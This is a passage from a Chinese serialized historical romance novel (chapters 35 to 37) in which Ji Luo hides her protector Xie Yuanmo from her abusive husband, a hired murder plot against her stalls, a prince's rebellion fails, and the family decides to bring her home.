他的话说了一半,便被门外传来的急促敲门声打断。 这样的声音瞬间让纪萝想起那日雨夜,她的脸色一片惨白,连身子都开始微微发颤。 而谢元墨几乎下意识握住她冰凉的手,将她带到自己身后,“放心,有我在。” 纪萝抬眸,正好与谢元墨的目光对上,他眼底的笃定与他掌心传来的温度都让她瞬间安定下来。 她轻轻点头,无声地告诉他,她相信他。 可也正在这时,门外传来稍显烦躁的催促声音,“阿萝,是我,快开门!” 竟是赵承嘉的声音。 第35章 纪萝看向身边谢元墨,心底竟是生出一种被捉奸的慌乱来。 她不在意赵承嘉如何想,可若是这样的事情传闻出去,她反倒成了做错事的人,不仅会被坏了名声,更是让赵承嘉占了上风。 这绝对不成。 况且谢元墨也有心隐瞒身份,若被赵承嘉扣上那样一顶帽子,恐怕对他也影响颇大。 可眼下赵承嘉已在门外,即便让谢元墨翻窗离开也是来不及,况且这房间不大,这样的动静定会被赵承嘉觉察。 这条路是行不通的。 既如此,那就只能给谢元墨寻一个藏身的所在了。 门外赵承嘉敲门的声音越发用力,语气也越发不耐烦,“阿萝,你在做什么,为什么不开门?” 一声又一声,宛若催命。 纪萝看了看周围,他的身量颇高,好似只有一处放置衣物的柜子足以容纳他,于是也顾不上其他,拉着他到那衣柜旁,“你先在此处躲一躲,千万不要出声。” 谢元墨往房门的方向看了一眼,最终还是无奈地点点头。 等他整个人躲进了衣柜,纪萝才尽可能平和了心绪过去打开了房门。 门外,赵承嘉身着墨衣,眼底的倦色几乎无法掩藏,显然是几日奔波少有歇息的时候所导。 而他大步进了里间,等左右瞧了几眼,见四下无人面色才算有所缓和,可一开口依旧是质问的语气,“你人既然在,为何这样久才过来开门?” “我这些日子身子有些不适。”纪萝抬眸看向他,“从搬来庄子便病着,落胎后又连日奔波,昏昏沉沉地睡了几日,如今身子也不曾好全,方才侯爷过来时我才睡下,听到声响只以为是匪徒又来了,所以耽误了时间。” 纪萝所言并非全是假话,她从刚来庄子时确实大病了一场,而匪徒之事,她心下明白赵承嘉人既然已在此处,定然也是知道的。 果然,听得纪萝如此说,赵承嘉眼底那最后一丝疑虑也尽数散去,他确实已经知晓庄子来了匪徒之事。 这庄子里的下人都是他安排的,眼下虽伺候着纪萝,可到底是他的人,他只一过来,就已经有人向他禀报了此事始末。 赵承嘉知晓纪萝与芸枝间早不只是寻常主仆,二人自小一起长大,感情比之寻常姐妹还要更深。 可偏偏芸枝却当着纪萝的面被那些匪徒杀了,想来纪萝定是痛不欲生。 如此想着,赵承嘉心底反而多了几分笃定。 他想,纪萝在这庄子里不仅受尽了苦楚,甚至连身边之人都丢了性命,她定又是恐慌,又是后悔罢? 定会想着,倘若当初不曾与自己怄气,不曾提和离,更不曾说那些大逆不道之言,那便能好生留在侯府,依旧做那个金尊玉贵的侯府夫人,身边的婢子也不至于丢了性命了。 或许自己一句话也不需多说,她便会同自己认错,而后央求着自己带她回去。 赵承嘉唇边甚至多了一丝笑意,他看向纪萝,目光中更是带着几分居高临下之感,“阿萝,经此一番,你应当知错了罢?” 纪萝愕然。 她无论如何也想不到赵承嘉一开口,竟是问出这样的一句话来。 经过后来发生的这些事,其实纪萝已经大约知道赵承嘉并非当初她心底的那般模样,可听得赵承嘉此话,纪萝才知,她还是低估了眼前人。 “侯爷。”她轻叹一声,“不知侯爷此番前来是有何事?” 她不想与他多作纠缠,谢元墨如今还藏在柜子里,她只想尽快将眼前人打发了。 赵承嘉轻轻叹了口气,“阿萝,你性子倔,可经历了这样多的事,应当也明白在这庄子里的日子可不好过。” 他的目光定定落在纪萝身上,语气不自觉认真了几分,“你可曾想过,若非当初你与我起了争执,又使性子说要和离,我如何会将你赶到这庄子来,而若是你不来这庄子,你的贴身婢子也不至于丢了性命。” “说到底是你的过错,难道你心底便不觉得愧疚?” 赵承嘉这一番话却是故意将一切责任都推到纪萝身上,想着纪萝如今应当正因芸枝之事而痛苦不已,如今听他这般说,定也会觉得这一切尽是她的错。 可纪萝听得这话只觉可笑,她向来不是那只会自怨自艾之人,芸枝之事,是那匪徒之错,更是那背后驱使的人之错,可却不能说尽是她的过错。 不过赵承嘉这话猛然一听确实有几分道理,倘若心智稍不坚定些,或许便被他所言动摇,当真将这一切都尽数怪到自己一人身上,觉得所做一切尽数都是错的。 但纪萝绝不会这样想,她轻声道:“所以侯爷来此,只是为了与我说这些?” “阿萝!”见纪萝这般不为所动的模样,赵承嘉的耐性也被耗了大半,他不由皱眉,“事到如今,你竟是不觉得自己做错了事?” 纪萝抬眼看向他,并未因着他这颇有压力的苛责之言而变了神色,甚至轻笑一声,“侯爷先与表妹珠胎暗结,后更是当街将已作旁人新妇的表妹抢了回来,侯爷这般,不觉得自己做错,反而说是我做错了事,世上哪里有这样的道理?” 赵承嘉的面色沉了下来,“阿萝,从前你性子很是乖巧的,怎么如今成了这副模样!” “侯爷。”纪萝不想再与他争执这些,她移开目光,有些疲累道:“侯爷一路奔波,想来也累了,府中下人应当已经收拾好了房间,侯爷不如早些休息罢。” 她不想再费心思去应付赵承嘉,况且如今谢元墨还在柜子里,他身量颇高,即便那柜子不算小,可他那样的身形要缩进这样一个柜子也实在不舒服,时间久,怕是浑身都酸麻得不行。 还是尽早将赵承嘉糊弄离开才是。 可听得纪萝如此说,赵承嘉反而伸手拽住纪萝衣袖,用力将她拽到自己面前,“阿萝,到底这样久不见了,你就不想我么?” 纪萝用力想从他手中挣脱开来,可他使的力气不算小,纪萝再如何用力都不曾挣开分毫,只能任由他拖拽着摔到了床榻上,“阿萝,这些时日,我可是很想你……” 话音未落,他人已经是覆了上来,纪萝心慌得不行,一个劲挣扎着,只是赵承嘉一手便将她两只手都尽数制住,令她全然动弹不得之后才有些无奈道:“阿萝,你不是也想怀一个我们的孩子么,欲迎还拒得太过,可就不好了。” 说罢,他伸手便欲去解纪萝腰间的系带。 纪萝咬牙道:“侯爷何必如此,你我夫妻多年,何时亲近竟要使上这般手段了?” 赵承嘉将她的外衫解了一半,正欲开口说什么,可肩部却传来一阵钝痛,他下意识转头,下一刻却已经失了意识。 动手的人自然是谢元墨。 他在那柜子里虽看不到外间景象,但却能听到声音,自然知晓外间发生了什么。 原本一直忍耐着也是顾虑着纪萝的话,可到了后边,却是再忍耐不住,索性出来将人敲晕了过去。 不仅如此,等赵承嘉倒地之后,谢元墨还忍不住往他身上用力踹了两脚。 纪萝生怕赵承嘉觉出什么,连忙叫住谢元墨,“别打了!” 谢元墨这才停了动作,抬眸看向纪萝,见纪萝衣衫凌乱又慌忙转过身去,“姑娘,可需我将他拖出去?” 纪萝瞧见他有些古怪的动作,垂眸一看,才发觉自己的里衣也因着赵承嘉倒下时被带着扯下了一片,脖颈处雪白的肌肤裸/露出来,确实有些不合时宜了。 谢元墨反应倒是快,也是位正人君子,纪萝想着,下意识看向他,只见他背过身去,虽瞧不见神色,可却能看见微红的耳尖。 纪萝不自觉弯了弯唇,似乎心情也稍稍好了些。 她自然是想将赵承嘉拖出去的,那张令她厌恶的脸,她是一眼也不想再多瞧。 可若是当真这般将赵承嘉赶出去,她却不知等明日他醒来又到底该如何解释了。 于是只得有些嫌恶道:“算了,让他在房间里睡一夜罢,省得明日他再醒来时再生事端。” 谢元墨迟疑片刻,到底还是应了下来,但却道:“今夜我依旧守在门外,姑娘若有事,只管唤我便是。” 纪萝知道,谢元墨这是担心赵承嘉醒来之后再对她如何,只是赵承嘉到底是永宁侯,若是谢元墨当真如此为她出头,怕是少不了要招惹麻烦,于是轻轻摇头道:“此事你不必管,我自会应付。” 谢元墨身子顿住,似乎想再开口说些什么,可到底没再说出口,只垂眸应了个“是”,而后才出了房门。 房门吱呀一声关上,谢元墨立在门外,外间依旧细雨朦胧,微凉的风卷着轻飘飘的雨丝落在他的发丝上,他却浑然未觉。 只一心想着纪萝方才的话。 纪萝的心里,大约还是很在乎赵承嘉的吧?即便赵承嘉做了那样的事,纪萝依旧担心自己伤了他。 而房内,纪萝盯着倒地不起的赵承嘉,神色越发厌恶,忍不住又上去踹了两脚心头才算舒服了些。 *** 观荷院。 从那日赵承嘉半夜离去后,王玉盈的身子依旧有些不适,又是寻了大夫过来看了。 只是大夫看过之后也说这样的病症只能慢慢调养,着急是急不来的。 王玉盈再问具体什么时候能好转,那大夫却也说不出个所以然来。 如此折腾一番,王玉盈不免又发了一通火。 “原本想着若是能再怀上表哥的孩子,我在侯府的地位也能稳固些,可偏偏这身子不争气,到了要紧的时候就要出岔子!”直至今日,王玉盈回想起那日夜里的事依旧很是不甘。 赵承嘉连着几日不曾来过观荷院,唯有那日夜里来过一回,不想她竟还是不曾抓住这个机会。 而且依着这大夫的意思,她的身子只能一日日地慢慢调养,却不知什么时候才能痊愈。 这令她心底如何能不憋屈。 偏偏昨日午后王绍还来过一回,他那性子向来是不会将话说得委婉的。 虽是相同的意思,可李氏的原话自然是迂回婉转许多,王绍却直接将那话里头的意思说了出来,甚至添了几分恶意,说什么眼下王玉盈不得看重,失去了王氏这个姑母的疼爱倒也就罢了,就连赵承嘉,怕也没将多少心思放在她身上,否则也就不会只是个妾室了。 而若是之后再不怀上个孩子,等赵承嘉对她那几分浅薄的情意尽数消散了,那她就当真什么也没了。 而离世的原话不过是叮嘱王玉盈要再赵承嘉身上多花些心思,若能怀上孩子自是更好,毕竟这般也能有所依靠。 可这番话从王绍嘴里说出来,却早已是变了味,里头尽是挖苦讽刺,好似十分瞧不起王玉盈这般做派。 说完这番话,王玉盈的脸色明显沉了下来,在王氏,赵倩桐面前受气也就罢了,偏偏在自己弟弟面前也要受气,她如今能忍得了? 王绍或许瞧出王玉盈脸色不好,可却浑然不在意,只摊手道:“话我已经尽数带到了,母亲说,阿姐还是要争气些,既然如愿以偿入了侯府,往后总要想法子帮衬着家里,否则还不如嫁去孙家,至少孙家给的好处可是实实在在的!” “对了。”王绍也不管王玉盈心下如何想,又道:“阿姐给我些银子使吧,我在外头欠了账,正等着拿银子去填呢!” 王玉盈攥紧了手中帕子,冷笑道:“要银子只管问母亲要去,我哪里有这么多银子给你?” 算上这一回,王绍已经是第四次来向王玉盈讨要银子了。 之前王玉盈手中还算宽裕,而王绍又知晓她过去的那些隐秘之事,她不想那些事为人所知,王绍既然只是要些银子,那便拿些打发了就是。 可偏偏如今王玉盈为了驱使那匪徒为她做事费了不少银子,就连自个的首饰都拿去当了不少,哪里还能拿出银子来填这个无底洞? 可王绍既是开了口,不拿到银子却是不会肯罢休的,他见王玉盈不应,皮笑肉不笑道:“母亲如今哪里有阿姐风光?阿姐可是永宁侯府的人,即便是妾室,也是与我们不同的,这点银子对阿姐来说不过小事罢了,何至于这样说?” 说话间,他目光已是落在王玉盈发间那枚钗子上,那是一枚做工精巧的金钗,也是她这身上最为值钱的物件,“阿姐头上这金钗应当值不少银子罢……” 话音未落,王玉盈已经是直接将那钗子拔了摔在地上,“拿去便是!平日若无他事,便不要再来永宁侯府,我们之间没什么姐弟情意,也不必假惺惺做这姿态!” 王绍哪里在意王玉盈对他如何态度,只吊儿郎当地捡了地上那金钗,笑嘻嘻道:“只要银子到位,阿姐说什么,自然都是对的。” 他一边说着,一边摇头晃脑地摆弄着手里的金钗,转身出了观荷院。 而立于原地的王玉盈发髻散乱,看着王绍离去的背影,眼底也头一回有了怨恨之意。 上辈子她与这个弟弟之间的关系其实并不算差。 彼时她与袁庆生并不曾和离,而袁家又是最为富庶的商户,旁的不说,银子却是从未缺过的。 这辈子她与袁庆生还不曾和离之时,王绍在上京青/楼酒肆的账单,也都大多记在了袁庆生的账上,袁庆生也从未说过什么。 如此,王玉盈这个姐姐就仿若给王绍提供了源源不断的钱财,那王绍自然是愿意在王玉盈面前卖乖的,两人之间没有旁的利益冲突,又是实实在在的有着血脉亲情,关系如何能不好? 只是这一辈子,一切都变了,掩在所为血脉亲情底下的肮脏,也再无所躲藏。 窗外不知何时又飘起了朦胧细雨,湿漉漉的寒意渗了进来,让她终于回了神,心底的郁气却依旧不得疏解。 身边凝露劝着,“侯爷与您还是有些过往的情意的,那里是旁人能比的,就算暂时不曾怀上孩子,等身子好全了再做算计也还来得及。” 王玉盈却并未将这些劝慰之言听进去,她只忽地问道:“侯爷好似又些时日不曾回府了?” “是。”凝露点头,又迟疑道:“许是公事繁忙的缘故。” 王玉盈没再问下去,只是皱眉看向她,“那人拿了银子,到如今也有些时日了,怎么还没消息传来 ?” 依着她的想法,想杀了纪萝绝不会是桩难事。 眼下赵承嘉为了搓磨纪萝,将她送去那偏僻的所在,庄子连下人都没几个,那些匪徒一个个都是有些本事的,只要他们有心杀人,这事于他们而言太过容易。 应当不至于这样久都不曾有消息传来。 提及这事,一旁凝芳也显然有些担心,“那些匪徒想来也并非信守承诺之人,若是他们只拿了银子却不肯办事……” 这一点,王玉盈也并非不曾想到。 只是彼时那匪徒存了将她杀了的心思,她若不如此说,怕是当夜便要死在那匪徒手中。 后来虽说脱身,可她心下也明白,不将那银子送去,那匪徒恐怕还会盯着她。 她原本便算计过那人一回,这次再骗了他,到时再落入他手,那怕是王玉盈将话说得再如何好听,这匪徒也是半个字都不会听了。 如此,其实也算是破财免灾了。 至于杀了纪萝,其实王玉盈觉得那匪徒应当还是会愿意去做这件事。 倒不是她当真天真以为这匪徒是多么信守承诺之人,只是这事对于那些匪徒而言实在容易。 人心都是贪婪的,轻而易举便能再得了五百两,这样的好事,他们没道理不做。 可倘若他们当真做成了这事,自是应当早传了消息回来要她将余下的五百两银子给了。 但如今却始终并无消息。 王玉盈想不出个所以然来,只得叹了口气道:“再等等消息罢。” 她如今能做的,当真唯有一个“等”字了。 *** 赵承嘉再醒来时只觉浑身都疼得厉害。 他一边揉捏着肩膀,一边有些艰难地从床榻上爬了起来。 纪萝见赵承嘉醒来,神色如常地走上前去,“侯爷醒了,庄子里已经备下了早膳,您可要用些?” 赵承嘉皱眉看向她,也想起了昨日夜里的事,一时神色不由变得有些古怪,“昨日夜里,我怎么突然睡过去了?” 方才他才醒来,意识还有些朦胧,这会儿见了纪萝,思绪也渐渐清醒过来。 昨日夜里的事自然也大致回想起来。 他记得他逼问纪萝,要纪萝认错,可纪萝偏偏不肯,竟还想赶他离开。 他心底那阵火气再也压制不下,便对纪萝动了粗,生生将纪萝压在床榻上…… 之后的事,他却是再也想不起来了。 听得赵承嘉问起此事,纪萝倒也并不慌乱,只解释道:“侯爷大约连日奔波,实在累极了,昨夜与我说了几句话便倒地不起,我原来还替侯爷担心,可后边见侯爷只是睡了过去,就帮侯爷脱了外衫靴子,让侯爷好生歇着。” 好在昨日夜里赵承嘉并未看到谢元墨的面容,否则即便纪萝再如何绞尽脑汁也圆不过去了。 不过纪萝这话即便听着寻不出错处来,赵承嘉心下却依旧觉得有些古怪,他昨夜虽说确实因着连日奔波有些疲倦,可再如何也不至于话才说了一半就睡了过去,这里头……怕是没这样简单罢? 想到此处,他眼底多了几分探究之意,又往前逼近了两步,声音微沉道:“阿萝,我并非是那样好糊弄之人,昨日夜里到底发生了何事,你最好还是如实与我说清,若等我查出什么,对你我,都不好。” 赵承嘉盯着纪萝,似乎想从她脸上寻出一些慌乱的痕迹。 但纪萝神色始终如常,并未有任何异样,她轻轻摇头道:“阿萝不知侯爷此言何意?” 赵承嘉眉头越发紧皱,他一把抓住纪萝的手,“纪萝,别把我当傻子!” 昨日夜里赵承嘉在她手腕处留下的红肿痕迹还不曾消除,此时他又抓着那处,甚至还多用了几分力气,几乎要将纪萝的骨头碾碎。 而门外,谢元墨听着里间响动,手已是不自觉抚上腰间匕首…… 第36章 正在这时,外间有人慌乱禀报,“侯爷,上京传来消息,要您尽快回去。” “出什么事了?”赵承嘉目光移向窗外,语气显而易见有些烦躁。 只是他依旧不曾将纪萝的手松开。 外间人迟疑片刻,道:“这……来人只说上京要出大乱子了,应当和景王那边脱不了干系,恐怕是不能耽搁。” 一听底下人提及景王,赵承嘉的脸色也不由变了变,他知此事确实不能耽搁,只能答应,“你去备好车马,我们即刻回京!” 那人应道:“是。” 便匆匆去准备了。 等下边人退下之后,赵承嘉才又看向纪萝,他将纪萝拉拽到自己身前,迫使她看着自己,“阿萝,我可以再给你些时间,但我希望不要太久。” 他左右看了看四周,心底多了几分笃定,“这样的苦日子,我相信你也熬不了太久。” 说罢,他终于松开纪萝,大步往外间走去。 而纪萝看着他离去的背影,心底却悄悄地松了口气。 好在他没有再深究昨日夜里之事,否则倘若南星当真被揪出来,就麻烦了。 她不知谢元墨到底是何种身份,也不知他隐藏身份是有何目的,但她知这人对她绝无恶意,她便也不想让谢元墨出事。 为他遮掩这一切,也是纪萝唯一能做之事了。 正当她胡思乱想着,谢元墨却匆忙进来。 他方才正守在门外,眼见情况不对,是当真生出再对赵承嘉动手的心思,只是不想竟正好有人前来禀话,倒是打断了赵承嘉责问此事,也让他不必在赵承嘉面前暴/露身份了。 纪萝见谢元墨进来,心下又是一慌,目光不自觉往外间看去,“他走了?” 见纪萝这般神态,两人竟当真颇像是偷/情一般,谢元墨神色有些古怪,可到底还是点点头,“走了。” 纪萝这才松了口气,倒是并未觉出什么不对劲来。 而谢元墨却注意到了纪萝手腕处颇为明显的红肿痕迹,他下意识上前握住她的手,小心将衣袖卷起,看见那一片实在肿得厉害,眼底不由多了几分寒意,“这是他弄的?” 纪萝怔住,下意识点头。 谢元墨冷笑一声,眼底寒意愈浓,“竟能这样对自己的夫人,这样的人,竟也配坐在永宁侯的位置上?” 听得这话,纪萝才回过神来,慌忙将手抽回,又道:“这是我与他的事,你莫要与他为难。” 赵承嘉到底是永宁侯,纪萝虽不知谢元墨是如何身份,可既是要在这偏僻处的庄子里躲藏这样久,甚至连真实名讳都不敢告知,想来不过是寻常富裕人家,又是怕仇家上门来寻,所以才这样小心。 他这样的身份,是万万得罪不起赵承嘉的。 倘若因着自己的缘故与赵承嘉为敌,到时候恐怕下场不会好。 纪萝并不想他参与到此事之中来。 可这话落入谢元墨耳中,却又是另一番意思了。 他垂下眼眸,顿了半晌,才低声应了个“好”。 *** 正院的角房。 谢元墨的下属已经向他禀明了朝中局势,他拱手道:“景王那边已经是按耐不住,陛下如今怕是不能再等了。” 景王动手,谢元墨便也应当动身回宫了。 等到那时,景王所谓的正义之名将会尽数被戳破,而谢元墨也能借此机会将这叛军一网打尽了。 说到底,这事能这般顺利,还多亏了袁庆生与端王相帮,否则谢元墨居于深宫,当真无法这般耳聪目明,提前觉出景王有这般心思,又制定了这般周 全计划。 而景王,大约如论如何也想不通,他既提前安排人去宫中打听消息,又费尽心机才确定谢元墨早在围猎那日便不曾回宫,为何当他领兵侵入皇宫之时,谢元墨却凭空出现。 他原本是打着戳穿谎言的旗号,可在谢元墨出现之后,他所行之事便是叛乱之实。 再无回转余地。 谢元墨心知此事不能耽误,但若此时离去,他想到纪萝,又问道:“那三个匪徒有消息了吗?” 下属摇头,“那三人很是狡猾,他们原本便是占山为王的匪徒,一觉出不对便躲进深山里去了,我们的人前几日在青州一带寻到了他们踪迹,只是很快却又被他们甩开,眼下依旧在那一片搜寻。” 便是走最近的水路,青州距离此处也有四五日的路程,看来那三人从那日与谢元墨交手之后便一路逃窜,应当是顾不上再回来寻纪萝的麻烦了。 可即便如此,谢元墨依旧有些担心,他吩咐道:“安排几个人暗中护好她。” 下属应下。 而第二日,纪萝再起身时只见房门口一瓶白玉瓷瓶装着的伤药下边压着一封书信。 她迟疑片刻,上前将那伤药与书信拿起来。 书信正是谢元墨留下的,里边絮絮叨叨地写了足足两页纸,多是叮嘱她伤药要记着一日两回地用着,这些时日最好多留在庄子里,若无要紧事便不要随意出去,那几个匪徒还不曾被官府抓着,还是要小心些…… 这般叮嘱之言说完,到最后写的却是让纪萝定要等他回来。 说他只是去处理些事务,很快就会回来,到时候无论是那三个匪徒,还是背后驱使他们之人,他都不会放过。 这封信看完,纪萝却摸着这信封竟还有些厚度,再细看才发现,原来里间竟还夹着两张面额不小的银票。 看见这两张银票的一瞬,纪萝不由哑然。 他如今是装也不装了,怕是连当初是用什么缘由留在庄子里的都忘了罢? *** 这几日的上京实在不太平。 莫说是官宦世家,便是寻常百姓也都听到了风声。 连着几日,街头巷尾流传着的皆是与景王有关之事。 都说这景王存了反叛之心,却偏偏打着正义的旗号,声称天子早已在围猎那日出了事,而沈太后却暗中联合朝中数位大臣把持朝政,有令江山易主之心。 可当他率兵入宫之事,却见天子正在寝宫中与沈太后下棋,景王见此景象,竟也不肯认错,反而想借机篡位。 如此,便是坐实了反叛之事。 最终自是不曾落得好下场。 不仅自己入了狱,家人也受了牵连,而朝中那些支持他的大臣更是无法幸免。 不过赵承嘉倒是并未被这事牵扯其中。 他原本就一直摇摆不定,到最后得知景王带兵入宫,虽心底已有偏向,可到底并未将那事做到明面上,凡是论迹不论心,自然是牵扯不到他身上的。 这事了了之后朝中局势变化颇大。 从前支持景王一脉的官员或是下狱,或是被贬,又或是自己主动辞了官,而那些被收拢回来的权力,自是更多的握在了天子手中。 一切了结之后,赵承嘉心下也算轻松许多。 也正是这时,王氏与他提了将纪萝接回来之事。 原本王氏其实倒是并未有这念头的,只是从纪萝去了庄子之后,侯府的一应事务都尽数交到了她手中。 若是王玉盈未曾做过那算计之事,王氏或许还会放心让她分担一二,可前头被她那样算计了一通,如今王氏是再信不过她的,即便她已经是赵承嘉的妾室,比之从前只是府上的表小姐算起来更能名正言顺地参与府上事务,王氏却也不肯交与她了。 只是这般,王氏便免不了事事皆要亲历亲为,从前赵承嘉还未成婚时倒也罢了,可如今年岁渐长,便难免会有些力不从心。 偏偏侯府这些事务颇为繁杂,又是件件都不能除了差错的,如此下来,确实要耗费不少心力。 这一日夜里,王氏又看账册看到了深夜。 身边秋和眼见案几上的沙漏又要漏尽,忍不住劝道:“您眼睛原本就不好,这样对着烛火一日日熬着,怕是更受不住,不若还是先歇息,明日再看吧。” 王氏将手中的账册翻过一页,叹了口气道:“明日也有明日的事要做,眼下朝中局势变化颇大,来往送礼,哪一样不需要斟酌,再说再有几日又是我自个的生辰了,正赶上这时候,若不操办,怕是要给承嘉惹来闲言碎语,若要操办,眼下家中没有旁人能主事,我也就只能自个多费心了。” 像赵承嘉这样的后辈,生辰之事可大可小,若无心大操大办,传闻出去,或许还能得一个节俭的好名声。 可王氏却不同,她已经有些年岁,这生辰之日又正好赶上朝局动荡之时,也并非说要弄得多么风光,只是该有的却是不能少的,否则旁人或是揣测赵承嘉因着朝中这次变故受了牵连,又或是直接将一顶不孝的帽子扣下来,那赵承嘉可就当真无处说理去了。 王氏是赵承嘉的母亲,自然是事事要为他考虑周全的。 所以这寿宴,是不办也得办了。 只是如此,她又少不得要多耗费心神,眼下府中还有诸多琐碎之事还不曾安排妥当,自是忙得不可开交。 听到此处,秋和不知是有意还是无意,却提了一句,“从前纪氏在的时候倒是省事许多,至少无需您这般费心了……” 第37章 从前纪萝在的时候自然无需王氏如何费心。 王氏不过是个发号施令的,凡事要如何安排,只提个要求便是,其余便交给纪萝做好。 那时候王氏也不觉得省了心,依旧觉得事事要让自己操不少心。 后边一些不想费心的事就索性由着纪萝安排。 她做事用心,倒是也从不曾出过什么岔子,有一些事即便只是头一回办,也能办得妥帖。 只是即便如此,王氏对她也不算满意,甚至有时还觉得自己给了纪萝太多权力…… 可如今经历了这些,又听秋和提了一句,才念起纪萝的好来。 她放下手中的账册,顺着秋和的话道:“这样算来,纪氏在那庄子也住了有段时日了,怕是吃了不少苦头。” “是。”秋和应着,“那庄子地处偏僻,侯爷又是有心磋磨纪氏,自然是不会让她好过。” 王氏闻言皱眉,“承嘉也是,他与王玉盈的事闹得那样难看,纪氏好歹是正室,心里不舒服与他闹一闹也是正常,我从前见他对纪氏颇为维护,以为他对纪氏应是有几分真心的,可不想只为了那王玉盈,竟就这般狠心地将人送去了庄子。” 秋和自然知道王氏想听的是什么话,于是道:“这事说到底还是要怪那王姨娘,她若是不使那些心机手段,侯爷哪里至于将事做到这份上?” 这话果真说中了王氏心思,她点了点头,思忖片刻,又道:“纪氏不论犯了什么错,在那庄子住了这些时日也应当是知错了,明日让承嘉过来用膳,我正好与他提一提这事。” 秋和应下。 第二日夜里,赵承嘉到华庆院用晚膳。 膳后,赵承嘉问起王氏寿辰,王氏便顺势与他提了让纪萝回府之事。 “纪氏是个温顺的性子,也是被你与阿盈的事实在气得狠了,所以才做了错事。”王氏难得为纪萝说了好话,“眼下在那偏僻的庄子里熬了这些时日,一日夫妻百日恩,就算是又再大的过错,也不当再计较了。” “你母亲年岁渐大,这样的寿辰是过一次少一次了,说心愿,也没旁的心愿,唯一想着的只是咱们一家人能好好过日子便足矣。” 即便没有王氏这些话,赵承嘉也存了要将纪萝接回来的心思。 如今王氏开了口,他便也顺水推舟道:“既然母亲都如此说了,那儿子便安排人将她接回来吧。” 见赵承嘉应下,王氏这才满意地点点头,又劝了几句,大约都是说纪萝因着王玉盈之事有所不满正是因着心里在乎赵承嘉之类,让赵承嘉不必与纪萝再怄气,两人是夫妻,总免不了会有这样磕碰的时候。 一番话听着赵承嘉也越发觉得有些道理。 即便当时纪 萝提及和离之事如何笃定,如今再回想起来,他也依旧觉得彼时的纪萝只是因着他与王玉盈的事怄气。 再加之那时候的纪萝才没了孩子,心下定是承受不住这般打击,所以才说出那些话来。 说到底其实他也确实犯了错,眼下将她送去庄子,也令她吃了不少苦了,到如今,她若再不肯低头,自己便稍稍低头,让这事过去也就罢了。 赵承嘉如此想着,心下反而轻松了许多。 这些时日他也想明白了,到底是三年的夫妻情意,他对纪萝,并非是全然不在意的。 而他对王玉盈,自然也是在意的。 等纪萝回来之后,他便这般一妻一妾,也算一桩美事了。 *** 观荷院。 凝露费了好大功夫从赵承嘉下属那儿打听了消息,眼下到了王玉盈面前,却支支吾吾地一直不曾将话说明白。 王玉盈见她这般模样也失了耐心,皱眉道:“所以那几日表哥到底去了何处?你不是打听到了消息吗,怎么又不说了?” “这……”凝露不敢隐瞒王玉盈,到底是一咬牙说了实话,“说侯爷那几日……去了一趟京郊的庄子……” 她一边说着,一边小心翼翼地觑着王玉盈神色。 果真见她面色沉了下来,“这么说,表哥竟是去见了纪氏?” 凝露不敢说是,只能勉强解释道:“或许侯爷是有别的事要去京郊也未可知,未必就是为了那纪氏。” 这样的解释实在生硬,王玉盈自然也不会这般自欺欺人。 可依着如今地情况来看,莫说赵承嘉是去看了纪萝,即便是要将纪萝接回来,她也不能说半个“不”字。 只有忍着的份。 “不成。”王玉盈越是想着心底越发不安,“表哥这个时辰应当也已经回来了,母亲那边我讨不着好,表哥与我却还是有些情意的,我该多用些心才是,不能一直避着。” 王玉盈这些时日背地里用了不少调养身子的汤药。 赵承嘉一个男子,即便那日亲眼见到王玉盈那般症状,也只会以为那是落胎所致,并不会多想。 也更不会轻易将此事说与旁人知晓。 但王氏不同。 毕竟是生养过的深宅妇人,对这些事情自是更为了解。 倘若王玉盈素日里用的药物被她所知晓,万一发觉出什么来,岂非麻烦? 所以王玉盈向来是吩咐凝芳凝露悄悄去外间抓了药回来炖,万不敢让这事经了侯府之手。 只是这般这其中的花销却又只能由她自己来拿了。 偏偏为了能尽早调养好身子,她这药方子上的药物大多都不是寻常之物,这一日两回的喝着,也是一笔不小的花费。 侯府的妾室虽每月都会有一笔月例银子,但实在不算多,前头为了应付那匪徒她变卖了不少首饰,后边王绍前前后后又来了几回,一开口又是少不要要她拿些银子,这般下来她当真已经是捉襟见肘,只能是节衣缩食才能勉强拿出这一笔银子来。 有时她过着眼下这般日子,也会不自觉想起上辈子的日子。 尽管上辈子她最后的结果实在不好,可至少是从不曾缺了银子的。 袁庆生向来待她极好,无论什么,只要她想要的,几乎都能得到。 而这辈子…… 有时候王玉盈也会忍不住想自己的选择当真是对的吗? 或许她应当留在袁庆生身边,想尽办法地帮他度过那场危机,她是重活一世的,只要用心想想,或许还有可能改变他们最后的结果呢? 可这样的念头却不过是转瞬即逝。 既然已经做出了选择,那早便没了回头路。 况且即便度过那样一场危机,谁又能知道会不会有下一场危机呢? 袁庆生只是一个商户,就算有再多的银子,没有权力,最终也是守不住的。 王玉盈如此想着,心下才算安定下来。 她这些时日喝的汤药虽说费银子,可好在也算是有些作用的,这两日她身子里的恶露已经排净,想来不会再出什么岔子。 凝露正应着,“厨房吩咐的鸡汤应当也熬好了,您不如先喝了再去见侯爷?” 王玉盈日日所用的汤药虽不曾用侯府的银子,可她借着补身子的名义,每日的上好的鸡鸭鱼肉却是不曾少了的。 不说每日三回的膳食,只是午后与睡前,都要厨房新杀了母鸡炖汤喝下,用来炖汤的肉却从来不要,只说这精华之处在那汤水中,喝了那碗汤便也就足够了。 日日这般折腾,厨房那边的下人也不免心有不满,不过王氏虽知此事,却是不曾说过什么。 毕竟她也希望侯府能尽快添丁,王玉盈前头又确实落了胎,为了能尽快养好身子,用得精细些也是应当。 王氏不曾怪罪,底下人即便再有不满,定然也不敢多言了。 最多不过私下议论几句罢了。 王玉盈一听鸡汤好了,便道:“那正好我带去侯爷书房罢,侯爷这几日这般奔波,也当好好补补身子。” 凝露应着,吩咐人去取了鸡汤装入食盒中,又伺候王玉盈换了衣衫,这才去见赵承嘉。 只是这会赵承嘉却正在安排马车去往京郊庄子将纪萝接回来。 眼下距离王氏寿辰已经没有几日,赵承嘉念着要让纪萝赶在王氏寿辰之前回来,所以叮嘱车夫切莫耽误了时间。 车夫答应着正要上路,可不想赵倩桐听说了此事,竟匆匆赶来拦下了车夫的去路,“不能去接嫂嫂回来!” “倩桐,你这是做什么?”赵承嘉皱眉,眼底分明闪过一丝不耐。 “我才要问你想要做什么!”赵倩桐颇为愤恨道:“既然当初要将嫂嫂送去庄子,为何如今又要将她接回来?你那样喜欢王玉盈,只与她好好过日子便是,又将嫂嫂接回来,难道只是为了让她看着你们恩爱不成?” 赵倩桐越发说着,越是为纪萝愤愤不平。 